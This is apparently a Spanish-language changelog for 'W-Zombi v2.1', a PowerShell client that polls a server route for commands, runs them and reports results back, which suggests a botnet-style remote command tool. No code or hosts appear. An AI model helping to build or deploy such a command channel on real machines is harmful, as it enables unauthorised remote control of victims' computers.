🧟 W-Zombi v2.1: Fix ruta /cmd + JSON parsing robusto

Bugs corregidos:
- /cmd no existía en server (solo /cmd.json) — agregada ruta explícita
- PS1 client pedía /cmd sin Content-Type JSON — cambiado a /cmd.json
- JSON fallback: ConvertFrom-Json si Invoke-RestMethod no parsea
- Send-Log con UTF-8 encoding explícito
- Validación extra: chequea $cmdData.id y $cmdData.cmd antes de ejecutar
- Log bilateral: registra comando enviado Y resultado recibido
- ZOMBI CONECTADO log al iniciar
